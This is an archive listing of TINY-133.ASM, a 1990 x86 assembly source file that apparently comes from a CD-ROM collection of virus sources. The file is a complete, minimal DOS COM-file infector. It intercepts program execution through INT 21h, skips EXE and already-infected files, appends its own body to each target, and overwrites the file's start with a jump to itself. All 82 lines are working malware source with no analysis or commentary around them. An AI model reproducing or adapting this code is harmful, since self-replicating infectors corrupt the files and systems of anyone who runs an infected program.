home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TINY-133.ASM < prev    next >
Assembly Source File  |  1990-06-18  |  2KB  |  82 lines

  1. VSize        =    085h
  2.  
  3. Code        Segment
  4.         Assume    CS:Code
  5.         Org    600h
  6.  
  7. Bytes        db    0CDh,20h,90h,90h
  8.  
  9. Start:        mov    si, 0100h
  10.         mov    bx, offset Int21
  11.         mov    cx, 0050h
  12.         mov    di, si
  13.         add    si, [si+2]
  14.         push    di
  15.         movsw
  16.         movsw
  17.         mov    es, cx
  18.         cmpsb
  19.         je    StartFile
  20.         dec    si
  21.         dec    di
  22.     rep    movsw
  23.         mov    es, cx
  24.         xchg    ax, bx
  25.         xchg    ax, cx
  26. Loop0:        xchg    ax, cx
  27.         xchg    ax, word ptr es:[di-120h]
  28.         stosw
  29.         jcxz    Loop0
  30.         xchg    ax, bx
  31. StartFile:
  32.         push    ds
  33.         pop    es
  34.         ret
  35.  
  36. Int21:        cmp    ax, 4B00h
  37.         jne    End21
  38. Exec:        push    ax bx dx ds es
  39.         mov    ax, 3D02h
  40.         call    DoInt21
  41.         jc    EndExec
  42.         cbw            ; Zero AH
  43.         cwd            ; Zero DX
  44.         mov    bx, si        ; Move handle to BX
  45.         mov    ds, ax        ; Set DS and ES to 60h,
  46.         mov    es, ax        ;  the virus data segment
  47.         mov    ah, 3Fh        ; Read first 4 bytes
  48.         int    69h
  49.         mov    al, 4Dh
  50.         scasb            ; Check for 4D5Ah or infected file mark
  51.         je    Close        ; .EXE or already infected
  52.         mov    al, 2
  53.         call    LSeek    ; Seek to the end, SI now contains file size
  54.         mov    cl, VSize    ; Virus size in CX, prepare to write
  55.         int    69h        ; AH is 40h, i.e. Write operation
  56.         mov    ax, 0E94Dh    ; Virus header in AX
  57.         stosw            ; Store it
  58.         xchg    ax, si        ; Move file size in AX
  59.         stosw            ; Complete JMP instruction
  60.         xchg    ax, dx        ; Zero AX
  61.         call    LSeek        ; Seek to the beginning
  62.         int    69h        ; AH is 40h, write the virus header
  63. Close:        mov    ah,3Eh        ; Close the file
  64.         int    69h
  65. EndExec:    pop    es ds dx bx ax
  66. End21:        jmp    dword ptr cs:[69h * 4]
  67.  
  68. LSeek:        mov    ah, 42h        ; Seek operation
  69.         cwd            ; Zero DX
  70. DoInt21:    xor    cx, cx        ; External entry for Open, zero cx
  71.         int    69h
  72.         mov    cl, 4        ; 4 bytes will be read/written
  73.         xchg    ax, si        ; Store AX in SI
  74.         mov    ax, 4060h    ; Prepare AH for Write
  75.         xor    di, di        ; Zero DI
  76.         ret
  77.  
  78. VLen        =    $ - offset Bytes
  79.  
  80. Code        EndS
  81.         End
  82.